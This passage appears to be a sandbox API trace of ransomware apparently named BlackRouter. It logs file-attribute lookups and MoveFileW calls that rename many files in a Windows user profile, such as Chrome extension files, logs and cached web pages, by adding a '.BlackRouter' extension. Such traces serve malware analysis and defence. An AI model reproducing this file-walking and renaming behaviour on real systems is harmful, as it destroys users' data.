(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.blackrouter")) returned 1 [0054.875] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x945 [0054.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83694820, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc7429030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1 [0054.938] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.blackrouter")) returned 1 [0056.274] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x0 [0056.276] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86513570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc80f4670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0056.276] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.blackrouter")) returned 1 [0056.903] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x0 [0056.905] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8448d2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc86e7d70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0056.905] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.blackrouter")) returned 1 [0056.921] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x28df6 [0056.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc8734030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x28e00)) returned 1 [0056.946] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.blackrouter")) returned 1 [0058.686] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x2fa9 [0058.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc97dda30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0)) returned 1 [0058.690] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.blackrouter")) returned 1 [0058.691] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x2fb0 [0058.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc9803b90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2fc0)) returned 1 [0058.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.blackrouter")) returned 1 [0060.445] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x80 [0060.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0xca8ad590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0060.448] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig.blackrouter")) returned 1 [0060.526] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x0 [0060.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xca96bc70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0060.528] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log.blackrouter")) returned 1 [0062.342] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x21e7 [0062.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf4697f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf4697f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcbad3d50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x21f0)) returned 1 [0062.351] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm.blackrouter")) returned 1 [0062.353] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x0 [0062.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\only[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\only[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfaa91b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfaa91b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcbad3d50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0062.354] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\only[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\only[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\only[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\only[1].htm.blackrouter")) returned 1 [0062.356] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x140 [0062.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\Passport[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\passport[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56ed3860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56ed3860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbaf9eb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0062.367] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\Passport[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\passport[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\Passport[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\passport[1].htm.blackrouter")) returned 1 [0062.369] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1fa [0062.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\postmessageRelay[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\postmessagerelay[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6371bfc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6371bfc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbaf9eb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x200)) returned 1 [0062.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\postmessageRelay[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\postmessagerelay[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\postmessageRelay[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\postmessagerelay[1].htm.blackrouter")) returned 1 [0062.373] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x19a6f [0062.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\search[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\search[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x555ac120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x555ac120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbb20010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x19a70)) returned 1 [0062.387] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\search[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\search[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\search[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\search[1].htm.blackrouter")) returned 1 [0062.390] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2ecb [0062.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x551dcf90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x551dcf90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbb46170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2ed0)) returned 1 [0062.399] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js.blackrouter")) returned 1 [0062.401] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c [0062.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbb6c2d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0062.414] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js.blackrouter")) returned 1 [0062.416] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7b1 [0062.424] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b8c150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b8c150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbb92430, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0062.424] MoveFileW 